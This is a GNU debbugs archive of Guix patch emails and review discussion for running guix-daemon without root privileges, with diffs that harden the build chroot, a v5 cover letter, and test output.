In-Reply-To: <cover.1741973869.git.ludo@HIDDEN>
References: <cover.1741973869.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Score: -2.3 (--)
X-Debbugs-Envelope-To: 75810
Cc: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

* nix/libstore/build.cc (DerivationGoal::runChild): Bind-mount the store
and /tmp under ‘chrootRootDir’ to themselves as read-write.
Remount / as read-only.

Change-Id: I79565094c8ec8448401897c720aad75304fd1948
---
 nix/libstore/build.cc | 16 ++++++++++++++++
 1 file changed, 16 insertions(+)

diff --git a/nix/libstore/build.cc b/nix/libstore/build.cc
index 3861a1ffd9..c8b778362a 100644
--- a/nix/libstore/build.cc
+++ b/nix/libstore/build.cc
@@ -2091,6 +2091,18 @@ void DerivationGoal::runChild()
 
             for (auto & i : ss) dirsInChroot[i] = i;
 
+	    /* Make new mounts for the store and for /tmp.  That way, when
+	       'chrootRootDir' is made read-only below, these two mounts will
+	       remain writable (the store needs to be writable so derivation
+	       outputs can be written to it, and /tmp is writable by
+	       convention).  */
+	    auto chrootStoreDir = chrootRootDir + settings.nixStore;
+	    if (mount(chrootStoreDir.c_str(), chrootStoreDir.c_str(), 0, MS_BIND, 0) == -1)
+                throw SysError(format("read-write mount of store '%1%' failed") % chrootStoreDir);
+	    auto chrootTmpDir = chrootRootDir + "/tmp";
+	    if (mount(chrootTmpDir.c_str(), chrootTmpDir.c_str(), 0, MS_BIND, 0) == -1)
+                throw SysError(format("read-write mount of temporary directory '%1%' failed") % chrootTmpDir);
+
             /* Bind-mount all the directories from the "host"
                filesystem that we want in the chroot
                environment. */
@@ -2164,6 +2176,10 @@ void DerivationGoal::runChild()
 
             if (rmdir("real-root") == -1)
                 throw SysError("cannot remove real-root directory");
+
+	    /* Remount root as read-only.  */
+            if (mount("/", "/", 0, MS_BIND | MS_REMOUNT | MS_RDONLY, 0) == -1)
+                throw SysError(format("read-only remount of build root '%1%' failed") % chrootRootDir);
         }
 #endif
 
-- 
2.48.1





Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 14 Mar 2025 17:49:52 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Fri Mar 14 13:49:52 2025
Received: from localhost ([127.0.0.1]:36007 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tt9AN-0004PQ-8N
	for submit <at> debbugs.gnu.org; Fri, 14 Mar 2025 13:49:52 -0400
Received: from eggs.gnu.org ([2001:470:142:3::10]:44272)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tt9AG-0004OE-SE
 for 75810 <at> debbugs.gnu.org; Fri, 14 Mar 2025 13:49:45 -0400
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tt9A8-0001xa-0d; Fri, 14 Mar 2025 13:49:37 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=gj2HkSqKqMC6OnWJO11zAMx01vOVuopEBzKWBjgHWEs=; b=R+JdslMmONDeCgKhfUOn
 Osb0ErsquFYVgII5bWBu1CPy9Mhx3Bl9t8lfPj/6ZRI1Ib33ug4ZqPgQAIb0HF61aMcZFuaHgLh1R
 beJJ1ZLzARg42LqgDZ/hrzu1+p9uI5XUu7glFUd6TQomelxZNTG6YsHiuaiytgd5iwMRomlA6yzPs
 UhcgCHsA+6TkHruubsI8zBPrgK4ZiFQSroZDA1olT15yufkIaMfQd3mTaZxDS36kI2mSwy0eEbjOk
 hLUkFsqcRc02A35LMJ6/Rt12Kv+EOD/Y3MiYav93ktadgWHWGtzgDbtUUyGlQSs6j9M0fLJm33YG9
 +XrArUeqGiaZlw==;
From: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
To: 75810 <at> debbugs.gnu.org
Subject: [PATCH v5 01/14] =?UTF-8?q?daemon:=20Use=20=E2=80=98close=5Frange?=
 =?UTF-8?q?=E2=80=99=20where=20available.?=
Date: Fri, 14 Mar 2025 18:47:58 +0100
Message-ID: <8ae666d03ea7b1d96fbf3c3ff928b920f98df06a.1741973869.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.48.1
In-Reply-To: <cover.1741973869.git.ludo@HIDDEN>
References: <cover.1741973869.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Score: -2.3 (--)
X-Debbugs-Envelope-To: 75810
Cc: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

* nix/libutil/util.cc (closeMostFDs) [HAVE_CLOSE_RANGE]: Use
‘close_range’ when ‘exceptions’ is empty.
* config-daemon.ac: Check for <linux/close_range.h> and the
‘close_range’ symbol.

Change-Id: I12fa3bde58b003fcce5ea5a1fee1dcf9a92c0359
---
 config-daemon.ac    |  5 +++--
 nix/libutil/util.cc | 23 +++++++++++++++++------
 2 files changed, 20 insertions(+), 8 deletions(-)

diff --git a/config-daemon.ac b/config-daemon.ac
index 6731c68bc3..4e949bc88a 100644
--- a/config-daemon.ac
+++ b/config-daemon.ac
@@ -78,7 +78,8 @@ if test "x$guix_build_daemon" = "xyes"; then
 
   dnl Chroot support.
   AC_CHECK_FUNCS([chroot unshare])
-  AC_CHECK_HEADERS([sched.h sys/param.h sys/mount.h sys/syscall.h])
+  AC_CHECK_HEADERS([sched.h sys/param.h sys/mount.h sys/syscall.h \
+    linux/close_range.h])
 
   if test "x$ac_cv_func_chroot" != "xyes"; then
     AC_MSG_ERROR(['chroot' function missing, bailing out])
@@ -95,7 +96,7 @@ if test "x$guix_build_daemon" = "xyes"; then
   dnl strsignal: for error reporting.
   dnl statx: fine-grain 'stat' call, new in glibc 2.28.
   AC_CHECK_FUNCS([lutimes lchown posix_fallocate sched_setaffinity \
-     statvfs nanosleep strsignal statx])
+     statvfs nanosleep strsignal statx close_range])
 
   dnl Check for <locale>.
   AC_LANG_PUSH(C++)
diff --git a/nix/libutil/util.cc b/nix/libutil/util.cc
index 3206dea11b..eb2d16e1cc 100644
--- a/nix/libutil/util.cc
+++ b/nix/libutil/util.cc
@@ -23,6 +23,10 @@
 #include <sys/prctl.h>
 #endif
 
+#ifdef HAVE_LINUX_CLOSE_RANGE_H
+# include <linux/close_range.h>
+#endif
+
 
 extern char * * environ;
 
@@ -1087,12 +1091,19 @@ string runProgram(Path program, bool searchPath, const Strings & args)
 
 void closeMostFDs(const set<int> & exceptions)
 {
-    int maxFD = 0;
-    maxFD = sysconf(_SC_OPEN_MAX);
-    for (int fd = 0; fd < maxFD; ++fd)
-        if (fd != STDIN_FILENO && fd != STDOUT_FILENO && fd != STDERR_FILENO
-            && exceptions.find(fd) == exceptions.end())
-            close(fd); /* ignore result */
+#ifdef HAVE_CLOSE_RANGE
+    if (exceptions.empty())
+	 close_range(3, ~0U, 0);
+    else
+#endif
+    {
+	 int maxFD = 0;
+	 maxFD = sysconf(_SC_OPEN_MAX);
+	 for (int fd = 0; fd < maxFD; ++fd)
+	      if (fd != STDIN_FILENO && fd != STDOUT_FILENO && fd != STDERR_FILENO
+		  && exceptions.find(fd) == exceptions.end())
+		   close(fd); /* ignore result */
+    }
 }
 
 
-- 
2.48.1





Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 14 Mar 2025 17:49:51 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Fri Mar 14 13:49:51 2025
Received: from localhost ([127.0.0.1]:36005 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tt9AM-0004PO-Ro
	for submit <at> debbugs.gnu.org; Fri, 14 Mar 2025 13:49:51 -0400
Received: from eggs.gnu.org ([2001:470:142:3::10]:44260)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tt9AG-0004OD-C4
 for 75810 <at> debbugs.gnu.org; Fri, 14 Mar 2025 13:49:44 -0400
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tt9AA-0001xb-9Q; Fri, 14 Mar 2025 13:49:38 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=5fbggu8STjwEXFRRV3Gq/UXyTgxUmf6fh1UKO8gjNXs=; b=CDn6I66Ph4oSvPCNsgp9
 zi/9luaoA7jeCiUsgsDktq5Qdpx/eoaRHvGpfOOo/bAhe1Milak0ab6FZKM8fYzkI6dTf0uPmkL7m
 n9qs3O+zCzEVJgZOZM9rp8l2xvmg1a+nFzLOVrzq5k6VXuq+ZrexfmlHsaJ8zMpsTFQrsqnIHgbUG
 xbPtYxr25HhVYPBIr7C3K3PabRMqEns1uRSu4MRhIkOZq1CgKOjcnjQ+SbPIzLsMZPSPNuoZd/sBZ
 V6GnoHplr3/5ZHv6i8NLwq/7csHcs7mqUFC1OigW9AUtTmkRLbRW9LoGy19tOlJ5+TjSHond+fsp4
 spZMn6EPaln2lg==;
From: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
To: 75810 <at> debbugs.gnu.org
Subject: [PATCH v5 02/14] daemon: Bind-mount /etc/nsswitch.conf & co. only if
 it exists.
Date: Fri, 14 Mar 2025 18:47:59 +0100
Message-ID: <7fa4cb05e23e14bb03832084fb60af1cbf727b39.1741973869.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.48.1
In-Reply-To: <cover.1741973869.git.ludo@HIDDEN>
References: <cover.1741973869.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Score: -2.3 (--)
X-Debbugs-Envelope-To: 75810
Cc: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

Those files may be missing in some contexts, for instance within the
build environment.

* nix/libstore/build.cc (DerivationGoal::runChild): Add /etc/resolv.conf
and related files to ‘ss’ only if they exist.

Change-Id: Ie19664a86c8101a1dc82cf39ad4b7abb10f8250a
---
 nix/libstore/build.cc | 9 +++++----
 1 file changed, 5 insertions(+), 4 deletions(-)

diff --git a/nix/libstore/build.cc b/nix/libstore/build.cc
index edd01bab34..8ca5e5b732 100644
--- a/nix/libstore/build.cc
+++ b/nix/libstore/build.cc
@@ -2093,10 +2093,11 @@ void DerivationGoal::runChild()
                network, so give them access to /etc/resolv.conf and so
                on. */
             if (fixedOutput) {
-                ss.push_back("/etc/resolv.conf");
-                ss.push_back("/etc/nsswitch.conf");
-                ss.push_back("/etc/services");
-                ss.push_back("/etc/hosts");
+		auto files = { "/etc/resolv.conf", "/etc/nsswitch.conf",
+			       "/etc/services", "/etc/hosts" };
+		for (auto & file: files) {
+		    if (pathExists(file)) ss.push_back(file);
+		}
             }
 
             for (auto & i : ss) dirsInChroot[i] = i;
-- 
2.48.1





Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 14 Mar 2025 17:49:48 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Fri Mar 14 13:49:48 2025
Received: from localhost ([127.0.0.1]:35995 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tt9AG-0004Oh-SN
	for submit <at> debbugs.gnu.org; Fri, 14 Mar 2025 13:49:48 -0400
Received: from eggs.gnu.org ([2001:470:142:3::10]:44248)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tt9AA-0004O5-IW
 for 75810 <at> debbugs.gnu.org; Fri, 14 Mar 2025 13:49:42 -0400
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tt9A2-0001xR-S4; Fri, 14 Mar 2025 13:49:30 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:Date:Subject:To:From:in-reply-to:
 references; bh=bCaK0d/HiPtBq1zMzQwCfvjTWkFpAA0DcHPTXIeecUQ=; b=NTJO3xgFiwkMbE
 Jug0QaiAgx9QpsPVWGwyder5J9UFYH4fti09i9kpnfZqy6Vy9Acb1MFdt8ow6aEI/KkP1Zdvd1SvK
 g4D39D8LmbEHD+GJvzpL/Vrxt4Wify0aLwBtdNeLVu4GSarBMEUtnz9gQg1zYs03YYgVGlSiD1TiA
 wPKNt+pPAbLjqc4YnKHoocppmmGu7JYA9ODOYmoX0Rde8lPlI8e31uilF7Rc8qZDDjh3dt+DioILP
 lDmd6W8IA+mzgZwRjS0VGBScpIIjdsuyFZrDDAxvRqzaNFv3V5u4fb/0imeoddXufF3SBx9A0s/vs
 oAhnghN1GRApHdNUAi5w==;
From: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
To: 75810 <at> debbugs.gnu.org
Subject: [PATCH v5 00/14] Rootless guix-daemon
Date: Fri, 14 Mar 2025 18:47:57 +0100
Message-ID: <cover.1741973869.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.48.1
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Score: -2.3 (--)
X-Debbugs-Envelope-To: 75810
Cc: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>,
 Reepca Russelstein <reepca@HIDDEN>
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

Hello Guix!

Changes since v4:

  • Remove qualifiers such as “new” from the documentation
    and clarify that unprivileged guix-daemon is the option
    chosen by default in some cases (Simon, Maxim).

  • Change ‘deleteTmpDir’ to deal with the case where
    CAP_SYS_CHOWN is available but ‘--disable-chroot’ is used
    (Reepca).

  • Add ‘unshare’ call in the build process before ‘execve’
    to create new user and mount namespaces, thereby locking
    together all the previous mounts; check by calling
    ‘umount’ and ensuring that it returns EINVAL that mounts
    are indeed locked (Reepca).

  • In ‘guix-install.sh’, keep /var/guix/profiles/per-user/root
    root-owned (previously it was chowned to ‘guix-daemon’).

  • In ‘guix-install.sh’, start ‘gnu-store.mount’ explicitly
    since it is no longer a dependency of ‘guix-daemon.service’.

  • In ‘guix-daemon.service.in’, set
    ‘GUIX_DATABASE_DIRECTORY=/var/guix’ for forward compatibility
    (I’m thinking of eventually changing the default database
    location when not running as root).

With these changes, the ‘debian-install’ and ‘guix-daemon’
system tests both pass.

I think we’ve never been this close to completion.  :-)

Thoughts?

Thanks a lot for your feedback, comrades.

Ludo’.

Ludovic Courtès (14):
  daemon: Use ‘close_range’ where available.
  daemon: Bind-mount /etc/nsswitch.conf & co. only if it exists.
  daemon: Bind-mount all the inputs, not just directories.
  daemon: Remount inputs as read-only.
  daemon: Remount root directory as read-only.
  daemon: Allow running as non-root with unprivileged user namespaces.
  daemon: Create /var/guix/profiles/per-user unconditionally.
  daemon: Drop Linux ambient capabilities before executing builder.
  daemon: Move comments where they belong.
  tests: Add missing derivation inputs.
  tests: Run in a chroot and unprivileged user namespaces.
  etc: systemd services: Run ‘guix-daemon’ as an unprivileged user.
  guix-install.sh: Support the unprivileged daemon where possible.
  DRAFT gnu: guix: Update to 00562be.

 build-aux/test-env.in               |  16 +-
 config-daemon.ac                    |   5 +-
 doc/guix.texi                       | 102 +++++++++---
 etc/gnu-store.mount.in              |   3 +-
 etc/guix-daemon.service.in          |  22 ++-
 etc/guix-install.sh                 | 109 +++++++++---
 gnu/packages/package-management.scm |   6 +-
 guix/substitutes.scm                |   2 +-
 nix/libstore/build.cc               | 247 ++++++++++++++++++++-------
 nix/libstore/local-store.cc         |  26 ++-
 nix/libutil/util.cc                 |  23 ++-
 tests/derivations.scm               |  24 ++-
 tests/packages.scm                  |  13 +-
 tests/processes.scm                 |   9 +-
 tests/store.scm                     | 250 ++++++++++++++++++++++++----
 15 files changed, 675 insertions(+), 182 deletions(-)


base-commit: 519fc51b6ecfe9ac9f2fa2f4ae052ab1984eed22
-- 
2.48.1





Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 13 Mar 2025 23:51:42 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Thu Mar 13 19:51:42 2025
Received: from localhost ([127.0.0.1]:58930 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tssKz-0007Vq-EF
	for submit <at> debbugs.gnu.org; Thu, 13 Mar 2025 19:51:42 -0400
Received: from hera.aquilenet.fr ([185.233.100.1]:48812)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tssKw-0007VY-Bn
 for 75810 <at> debbugs.gnu.org; Thu, 13 Mar 2025 19:51:39 -0400
Received: from localhost (localhost [127.0.0.1])
 by hera.aquilenet.fr (Postfix) with ESMTP id 1C5FB54B;
 Fri, 14 Mar 2025 00:51:31 +0100 (CET)
Authentication-Results: hera.aquilenet.fr;
	none
X-Virus-Scanned: Debian amavis at hera.aquilenet.fr
Received: from hera.aquilenet.fr ([127.0.0.1])
 by localhost (hera.aquilenet.fr [127.0.0.1]) (amavis, port 10024) with ESMTP
 id Oebs9zg7MQcT; Fri, 14 Mar 2025 00:51:30 +0100 (CET)
Received: from ribbon (unknown [83.118.207.42])
 by hera.aquilenet.fr (Postfix) with ESMTPSA id B0A51214;
 Fri, 14 Mar 2025 00:51:28 +0100 (CET)
From: =?utf-8?Q?Ludovic_Court=C3=A8s?= <ludo@HIDDEN>
To: Reepca Russelstein <reepca@HIDDEN>
Subject: Re: [bug#75810] [PATCH 0/6] Rootless guix-daemon
In-Reply-To: <87ldt95uw6.fsf@HIDDEN> (Reepca Russelstein's message of
 "Thu, 13 Mar 2025 01:04:09 -0500")
References: <cover.1737738362.git.ludo@HIDDEN>
 <87r04qe7dj.fsf@HIDDEN> <87bjvshrk0.fsf@HIDDEN>
 <875xluehn7.fsf@HIDDEN> <877c5u2ct5.fsf@HIDDEN>
 <87jz9sc72o.fsf@HIDDEN> <87y0xbivsh.fsf_-_@HIDDEN>
 <87plin5j3u.fsf@HIDDEN> <87h63xyjdh.fsf_-_@HIDDEN>
 <87ldt95uw6.fsf@HIDDEN>
Date: Fri, 14 Mar 2025 00:51:28 +0100
Message-ID: <87a59owku7.fsf@HIDDEN>
User-Agent: Gnus/5.13 (Gnus v5.13)
MIME-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable
X-Rspamd-Server: hera
X-Rspamd-Queue-Id: 1C5FB54B
X-Spamd-Result: default: False [4.90 / 15.00]; SPAM_FLAG(5.00)[];
 BAYES_HAM(-3.00)[100.00%]; NEURAL_SPAM(3.00)[1.000];
 MIME_GOOD(-0.10)[text/plain]; RCVD_COUNT_TWO(0.00)[2];
 FROM_EQ_ENVFROM(0.00)[]; MIME_TRACE(0.00)[0:+];
 RCPT_COUNT_TWO(0.00)[2]; ARC_NA(0.00)[];
 TO_MATCH_ENVRCPT_ALL(0.00)[]; RCVD_VIA_SMTP_AUTH(0.00)[];
 RCVD_TLS_ALL(0.00)[]; FROM_HAS_DN(0.00)[]; TO_DN_SOME(0.00)[];
 MID_RHS_MATCH_FROM(0.00)[]
X-Spamd-Bar: ++++
X-Rspamd-Action: no action
X-Spam-Level: ****
X-Spam-Score: 1.5 (+)
X-Spam-Report: Spam detection software, running on the system "debbugs.gnu.org",
 has NOT identified this incoming email as spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 the administrator of that system for details.
 Content preview:  Hey, Reepca Russelstein <reepca@HIDDEN> skribis:
 > I failed to take into account that the setns sequence needs to start by
 > joining the user namespace that owns all the other namespaces, so as to
 > gain the necessary capabilities for joining them. [...] 
 Content analysis details:   (1.5 points, 10.0 required)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The
 query to Validity was blocked.  See
 https://knowledge.validity.com/hc/en-us/articles/20961730681243
 for more information.
 [185.233.100.1 listed in bl.score.senderscore.com]
 0.0 RCVD_IN_VALIDITY_SAFE_BLOCKED RBL: ADMINISTRATOR NOTICE: The
 query to Validity was blocked.  See
 https://knowledge.validity.com/hc/en-us/articles/20961730681243
 for more information.
 [185.233.100.1 listed in sa-trusted.bondedsender.org]
 1.0 SPF_SOFTFAIL           SPF: sender does not match SPF record (softfail)
 0.5 PDS_OTHER_BAD_TLD      Untrustworthy TLDs
 [URI: russelstein.xyz (xyz)]
 -0.0 SPF_HELO_PASS          SPF: HELO matches SPF record
X-Debbugs-Envelope-To: 75810
Cc: 75810 <at> debbugs.gnu.org
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: 0.5 (/)

Hey,

Reepca Russelstein <reepca@HIDDEN> skribis:

> I failed to take into account that the setns sequence needs to start by
> joining the user namespace that owns all the other namespaces, so as to
> gain the necessary capabilities for joining them.  But after unshare
> creates the second user namespace, that first user namespace no longer
> has a process in it; it only still exists due to indirect references.
> Without a process to reference it by, we can't join it.  Trying to join
> the user namespace of the builder instead joins the inner user
> namespace, then tries to use the acquired credentials to join the
> namespaces owned by the outer user namespace, which naturally fails.

I see; brilliant.

>> If you can think of ways to do that, I=E2=80=99m all ears.  :-)
>
> It looks like the only easy way to test this - aside from something like
> scripted gdb playthroughs - might legitimately be to include a test
> inside the daemon itself.

Yes, that makes sense.

I added a =E2=80=98umount=E2=80=99 call, checking that we get EINVAL, and c=
onfirmed that
this check fails if we comment out the =E2=80=98unshare=E2=80=99 call.

I pushed the updated branch to Codeberg.  There are test failures in the
=E2=80=98debian-install=E2=80=99 test that I now need to investigate before=
 I send v5,
notably CAP_SYS_CHOWN not working (?) when attempting to create root=E2=80=
=99s
profile:

--8<---------------cut here---------------start------------->8---
guix install: [1;31merror: [0mdirectory `/var/guix/profiles/per-user/root' =
is not owned by you
[1;36mhint: [0mPlease change the owner of `/var/guix/profiles/per-user/root=
' to user
"root".

ls: cannot access '/root/.guix-profile': No such file or directory
sh: 1: /root/.guix-profile/bin/hello: not found
[=E2=80=A6]
PASS: marionette works
PASS: /etc/os-release
PASS: mount host file store
PASS: screenshot before
PASS: install fake dependencies
PASS: run install script
PASS: create user account
PASS: guix describe
PASS: hello not already built
PASS: guix build hello
PASS: hello indeed built
/gnu/store/59qdz41chhifidaq79iiiyx70m7lmyrp-debian-install-builder:1: FAIL =
guix install hello
/gnu/store/59qdz41chhifidaq79iiiyx70m7lmyrp-debian-install-builder:1: FAIL =
user profile created
/gnu/store/59qdz41chhifidaq79iiiyx70m7lmyrp-debian-install-builder:1: FAIL =
hello
PASS: guix install hello, unprivileged user
PASS: user hello
PASS: unprivileged user profile created
/gnu/store/59qdz41chhifidaq79iiiyx70m7lmyrp-debian-install-builder:1: FAIL =
store is read-only
PASS: screenshot after
# of expected passes      15
# of unexpected failures  4
--8<---------------cut here---------------end--------------->8---

Ludo=E2=80=99.




Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 13 Mar 2025 06:04:54 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Thu Mar 13 02:04:54 2025
Received: from localhost ([127.0.0.1]:52999 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tsbgb-0005zs-P6
	for submit <at> debbugs.gnu.org; Thu, 13 Mar 2025 02:04:54 -0400
Received: from mailout.russelstein.xyz ([2605:6400:20:11e::1]:37910)
